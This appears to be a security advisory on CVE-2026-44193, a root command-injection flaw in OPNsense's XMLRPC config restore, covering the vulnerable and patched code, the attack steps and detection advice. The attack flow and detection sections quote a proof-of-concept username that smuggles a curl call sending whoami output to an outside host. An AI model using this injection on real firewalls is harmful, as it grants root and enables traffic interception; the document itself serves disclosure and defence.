Introduction
A single missing escapeshellarg() call in OPNsense's user management code gave authenticated attackers a direct path to root shell execution on one of the most widely deployed open-source firewalls. CVE-2026-44193, carrying a CVSS score of 9.1, affects the XMLRPC opnsense.restore_config_section method in all OPNsense versions through 26.1.6. A public proof of concept makes exploitation straightforward for anyone with valid XMLRPC credentials.
OPNsense is an open-source firewall and routing platform built on FreeBSD and developed by the Netherlands-based company Deciso. It is a popular alternative to proprietary firewall products in small and mid-sized enterprise environments, with features including VPN, intrusion detection, traffic shaping, and high-availability clustering. OPNsense is broadly deployed as a perimeter security device, and a compromised firewall can expose every network segment it protects. That makes a vulnerability of this severity particularly consequential.
Technical Information
The vulnerability is classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command) and lives in the local_user_set() function within src/etc/inc/auth.inc. This function creates and modifies local user accounts by calling the FreeBSD pw command through PHP's popen().
Root Cause
The code sanitized its dynamic variables inconsistently before passing them to the shell. In the vulnerable version, only the $comment variable was wrapped in escapeshellarg(). Every other variable was interpolated raw into the command string:
// BEFORE (vulnerable) $cmd = "/usr/sbin/pw {$user_op} -q -u {$user_uid} -n {$user_name}" . " -g {$user_group} -s {$user_shell} -d {$user_home}" . " -c " . escapeshellarg($comment) . " -H 0 2>&1"; $fd = popen($cmd, 'w');
The implicit assumption was that config.xml would always contain clean data. The XMLRPC restore_config_section method broke that assumption by letting an authenticated user push arbitrary XML content into the configuration, including user entries with shell metacharacters in the <name> field.
A second popen() call in the same function was equally vulnerable:
// BEFORE $fd = popen("/usr/sbin/pw usershow -n {$user_name}", 'r');
Attack Flow
Exploitation takes four steps:
-
The attacker authenticates to the OPNsense XMLRPC endpoint with credentials for an account that holds the
XMLRPC Libraryprivilege. This privilege is commonly assigned to accounts used for high-availability synchronization between firewall nodes. -
The attacker sends a crafted XML-RPC POST request that invokes the
opnsense.restore_config_sectionmethod. The XML payload contains a<user>section whose<name>element includes shell metacharacters. The published proof of concept uses a username value likekch2;curl 192.168.236.1:8000/$(whoami);#. -
When OPNsense processes the configuration restore and synchronizes user accounts, the
local_user_set()function builds apw useraddorpw usermodcommand. The attacker-controlled username goes directly into the command string without sanitization. -
The semicolons in the injected username break out of the intended
pwcommand, and the injected payload (in this case, acurlcommand with command substitution) executes as root. The trailing#character comments out the rest of the original command, so the shell does not hit syntax errors that might cause the injection to fail.
The attacker ends up with arbitrary command execution as root on the firewall appliance. From there, an attacker can modify firewall rules, intercept network traffic, establish persistence, and pivot into protected internal network segments.
Compounding Factor
The same OPNsense 26.1.7 release patches a separate lockout bypass vulnerability that allows unlimited login attempts without triggering account lockouts. An attacker can chain the two flaws, first brute-forcing credentials for an XMLRPC-privileged account and then using those credentials to deliver the argument injection payload.
Patch Information
The OPNsense project fixed CVE-2026-44193 in version 26.1.7, released on April 30, 2026. Franco Fichtner wrote the fix, which landed in commit aa0a2e1f3cce, cherry-picked from commit 3b6f357e26a3 on the master branch. The change touches one file, src/etc/inc/auth.inc, adding 9 lines and removing 6.
The patch replaces all direct string interpolation with OPNsense's exec_safe() function, which uses %s format placeholders and escapes every argument:
// AFTER (patched) $user_frmt = ['/usr/sbin/pw %s']; // ... if ($userattrs === null || $userattrs[0] != $user['name']) { $user_frmt[] = '-m -k /usr/share/skel -o'; $user_op = 'useradd'; } // ... if ($user_op != null) { $user_frmt[] = '-q -u %s -n %s -g %s -s %s -d %s -c %s -H 0 2>&1'; $fd = popen(exec_safe($user_frmt, [$user_op, $user_uid, $user_name, $user_group, $user_shell, $user_home, $comment] ), 'w'); fwrite($fd, $user_pass); pclose($fd); }
The patch makes two distinct improvements.
Splitting the composite variable: Previously, $user_op held both the subcommand and its flags (e.g., useradd -m -k /usr/share/skel -o) as a single unquoted string. The patch moves the flags into the format string array ($user_frmt), so $user_op carries only the bare subcommand name (useradd or usermod). This eliminates the dangerous pattern of putting multi-token values into the command string unquoted.
Hardening the read path: The patch also updates the earlier popen() call that reads existing user attributes:
// BEFORE $fd = popen("/usr/sbin/pw usershow -n {$user_name}", 'r'); // AFTER $fd = popen(exec_safe('/usr/sbin/pw usershow -n %s', $user_name), 'r');
With both popen() calls routed through exec_safe(), every dynamic argument is quoted before it reaches the shell, which closes the argument injection vector completely. According to the commit message, a broader audit of shell execution safety took place in earlier OPNsense 26.1.x releases, but that audit missed these two popen() calls.
Detection Methods
As of May 14, 2026, no public Sigma rules, YARA signatures, or IDS/IPS rules have been published specifically for CVE-2026-44193. The attack surface is well understood, though, and that leaves several actionable ways to detect exploitation.
Network-Level Detection
Monitor HTTP/HTTPS POST requests to the OPNsense XMLRPC endpoint for XML payloads that invoke the opnsense.restore_config_section method. Any request whose <name> fields contain user data with shell metacharacters (semicolons ;, backticks, command substitution $(), pipes |, or hash # characters) is a strong indicator of exploitation. The published proof of concept injects a username such as kch2;curl 192.168.236.1:8000/$(whoami);#, so network inspection should flag user-related XML struct members that contain command separators or shell expansion syntax.
If TLS inspection is not feasible on the management interface, watching for unexpected POST traffic volume or unusual source IPs reaching the XMLRPC endpoint is an alternative heuristic.
Host-Based Log Review
On the OPNsense appliance itself, several log sources are relevant:
System audit logs (/var/log/audit and syslog facility LOG_AUTH): The auth_log() function in auth.inc writes to the auth syslog facility. Look for user creation or modification events with usernames containing special characters not typical of standard usernames or email addresses.
Configuration changelogs: OPNsense tracks configuration changes. Review the config diff history (under System > Configuration > History in the UI) for unexpected entries in the system/user section, particularly user entries that appeared without matching legitimate admin activity.
Process execution logs: On FreeBSD, process accounting or auditd can capture pw useradd and pw usermod commands. Treat any pw invocation whose -n parameter contains shell metacharacters, or that spawns unexpected child processes (such as curl, wget, nc, bash, or sh), as a high-fidelity indicator of exploitation.
Post-Exploitation Indicators of Compromise
Several artifacts may indicate successful exploitation:
Outbound connections from the firewall: If the firewall itself opens connections to external or unexpected IP addresses, that is a strong indicator of a reverse shell or data exfiltration after a successful command injection.
Persistence artifacts: Check for new or modified cron jobs, unexpected files under /conf/, or modified scripts in /usr/local/etc/rc.conf.d/. These are common persistence locations on FreeBSD-based appliances.
Unexpected user accounts: Inspect config.xml and the output of pw usershow -a for user entries that should not exist or whose names contain suspicious character sequences.
Exposure Auditing
To find out whether an environment is at risk, audit which accounts hold the XMLRPC Library privilege, since an attacker needs it to reach the vulnerable code path. On the CLI, opnsense-version returns the running version. Any version at or below 26.1.6 is vulnerable. If the management interface was exposed to the internet during the vulnerable window, treat the system as potentially compromised and rotate all API keys and admin credentials.
Affected Systems and Versions
All OPNsense versions prior to 26.1.7 are affected, which means any installation running version 26.1.6 or earlier is vulnerable. Exploitation requires an authenticated user account with the XMLRPC Library privilege, which is commonly assigned to accounts used for high-availability configuration synchronization between firewall nodes.
OPNsense 26.1.7, released April 30, 2026, includes the fix.
Vendor Security History
Deciso has taken a proactive approach to security maintenance for OPNsense. Beyond the fix for CVE-2026-44193, the development team has been systematically adding an exec_safe wrapper to protect command execution functions across the platform. That broader audit ran in earlier 26.1.x releases and missed the two popen() calls in auth.inc. The OPNsense 26.1.7 release also fixed a separate lockout bypass vulnerability, and the following release, 26.1.8, patched two more critical RCE bugs (CVE-2026-44194 and CVE-2026-45158). Together, these releases point to an active period of security hardening for the platform.
References
- GitHub Security Advisory: GHSA-xxp9-93cr-x54p
- NVD: CVE-2026-44193
- CVE Record: CVE-2026-44193
- Patch Commit: aa0a2e1f3cce
- OPNsense 26.1 Release Notes
- Field Effect: OPNsense Addresses Code Execution Issue with POC Available
- OPNsense 26.1.7 Release Announcement
- WZ-IT: OPNsense 26.1.8 RCE Patch Management
- Vulnerable Source: auth.inc (26.1.6)
- OPNsense Wikipedia
- Deciso B.V. Documentation
- OPNsense Forum: HA XMLRPC Sync Discussion



